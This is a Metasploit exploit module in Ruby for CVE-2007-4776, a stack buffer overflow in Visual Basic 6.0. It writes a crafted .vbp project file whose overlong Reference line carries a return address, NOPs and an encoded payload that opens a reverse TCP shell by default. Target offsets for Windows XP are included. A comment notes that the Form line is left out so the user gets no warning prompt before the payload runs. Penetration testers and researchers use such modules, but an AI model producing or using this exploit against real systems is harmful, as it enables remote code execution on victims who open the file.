##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Visual Basic VBP Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Microsoft Visual Basic
          6.0. A specially crafted Visual Basic Project (VBP) file containing
          a long reference line can be used to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Arch' => [ARCH_X86],
        'Author' => [
          'Koshi',  # Discovery and exploit
          'MC',     # Metasploit
          'bcoles', # Offsets for XP x86-64
        ],
        'References' => [
          [ 'CVE', '2007-4776' ],
          [ 'CWE', '119' ],
          [ 'EDB', '4361' ],
          [ 'OSVDB', '36936' ],
          [ 'BID', '25629' ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp',
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 650,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP0-SP3 (x86) (English)', {
              'Ret' => 0x0fabd271, # call esp ; vba6.dll
              'Scratch' => 0x7ffddfb4 # Address=0x7ffdd000; Size=0x1000; Access=RW; InitialAccess=RW
            }
          ],
          [
            'Windows XP SP1-SP2 (x86-64) (English)', {
              'Ret' => 0x0fabd271, # call esp ; vba6.dll
              'Scratch' => 0x7efa9010 # Address=0x7efa9000; Size=0x1000; Access=RW; InitialAccess=RW
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2007-09-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The project file name.', 'msf.vbp']),
      ]
    )
  end

  def exploit
    form_name = "Form#{rand(1..9)}"

    sploit = rand_text_alpha_upper(496)
    sploit << [target.ret].pack('V')
    sploit << rand_text_alpha_upper(12)
    sploit << [target['Scratch']].pack('V')
    sploit << make_nops(24)
    sploit << payload.encoded

    vbp = "Type=Exe\r\n"

    # We exclude the "Form" field so we don't have to ship a form file (.frm)
    # along with the project file (.vbp). If the specified form file is not
    # present within the same directory as the project file, the user is warned
    # the file does not exist, and is prompted to confirm loading the project.
    # Selecting "No" halts loading the project and prevents payload execution.
    # vbp << "Form=#{form_name}.frm\r\n"

    vbp << 'Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation'
    vbp << "#{sploit}\r\n"
    vbp << "Startup=\"#{form_name}\"\r\n"
    vbp << "Command32=\"\"\r\n"
    vbp << "Name=\"Project#{rand(1..9)}\"\r\n"
    vbp << "HelpContextID=\"0\"\r\n"
    vbp << "CompatibleMode=\"0\"\r\n"
    vbp << "MajorVer=1\r\n"
    vbp << "MinorVer=#{rand(1..9)}\r\n"
    vbp << "RevisionVer=#{rand(1..9)}\r\n"
    vbp << "AutoIncrementVer=0\r\n"
    vbp << "ServerSupportFiles=0\r\n"
    vbp << "VersionCompanyName=\"\"\r\n"
    vbp << "CompilationType=0\r\n"
    vbp << "OptimizationType=0\r\n"
    vbp << "FavorPentiumPro(tm)=0\r\n"
    vbp << "CodeViewDebugInfo=0\r\n"
    vbp << "NoAliasing=0\r\n"
    vbp << "BoundsCheck=0\r\n"
    vbp << "OverflowCheck=0\r\n"
    vbp << "FlPointCheck=0\r\n"
    vbp << "FDIVCheck=0\r\n"
    vbp << "UnroundedFP=0\r\n"
    vbp << "StartMode=0\r\n"
    vbp << "Unattended=0\r\n"
    vbp << "Retained=0\r\n"
    vbp << "ThreadPerObject=0\r\n"
    vbp << "MaxNumberOfThreads=1\r\n"
    vbp << "[MS Transaction Server]\r\n"
    vbp << "AutoRefresh=1\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file for #{target.name} ...")

    file_create(vbp)
  end
end